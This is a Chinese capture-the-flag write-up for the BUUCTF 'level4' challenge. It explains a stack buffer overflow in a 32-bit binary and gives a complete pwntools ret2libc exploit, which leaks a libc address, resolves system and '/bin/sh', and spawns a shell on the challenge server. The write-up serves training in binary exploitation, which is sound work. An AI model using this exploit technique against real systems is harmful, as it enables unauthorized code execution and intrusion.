level4

附件

步骤:

  1. 例行检查,32位程序,开启了NX保护
  2. 运行一下程序,看看大概的情况
  3. 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转
  4. 输入点在function里

    参数buf存在溢出漏洞,字符串里没有找到现成的后门可以利用,所以使用ret2libc的方法来获取shell

利用过程:

  1. 泄露libc版本
    只能通过程序里已经调用过的函数才行,这里利用的read函数
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload) read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
  1. 计算libc基址,然后找到程序里system和bin/sh的地址
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
  1. 构造rop攻击,获取shell
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)

完整exp:

from pwn import *
from LibcSearcher import * r=remote("node3.buuoj.cn",25393)
context(os = "linux", arch = "i386", log_level= "debug")
elf=ELF('./level4') read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload) read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:]) libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh") payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload) r.interactive()

最新文章

  1. Hadoop学习之旅二:HDFS
  2. windows系统路径环境变量
  3. 使用ASP.NET Web API Help Pages 创建在线接口文档
  4. sql2012还原sql2008备份文件语句
  5. asp.net web api 测试帮助页面建立并测试
  6. spoj 839 Optimal Marks(二进制位,最小割)
  7. aix7安装was7、打补丁、更改访问端口、手动启动was、配置was7、部署项目
  8. cookie 的Domain删除失败的问题
  9. 树状dp ural1018
  10. maven项目部署到Repository(Nexus)
  11. BZOJ:4816: [Sdoi2017]数字表格
  12. fasthttp 文档手册
  13. SQL Server 2016 Failover Cluster + ALwaysOn
  14. [转] Shell编程之数组使用
  15. grafana 指标视图嵌入到其他html网页
  16. LayDate 时间选择插件的使用介绍 (低版本1.0好像是)
  17. 泛泰A870(高通600 cpu 720p) 刷4.4专用中文recovery TWRP2.7.1.1版(三版通刷)
  18. 【BZOJ1093】【ZJOI2007】最大半联通子图 [DP][Tarjan]
  19. 使用"*"通配符来选择文件
  20. 《Cracking the Coding Interview》——第12章:测试——题目2

热门文章

  1. [loj3256]火灾
  2. 多线程合集(二)---异步的那些事,async和await原理抛析
  3. 使用微软RPA工具 Power Automate自动完成重复性工作
  4. Codeforces 848E - Days of Floral Colours(分治 FFT)
  5. Codeforces 285E - Positions in Permutations(二项式反演+dp)
  6. C++ and OO Num. Comp. Sci. Eng. - Part 4.
  7. 2021-2-3-利用anaconda+prefetch+aspera从NCBI的SRA数据库中下载原始测序数据
  8. WSL + MobaXterm 取代虚拟机
  9. linux系统中安装JDK
  10. javaSE高级篇4 — 反射机制( 含类加载器 ) — 更新完毕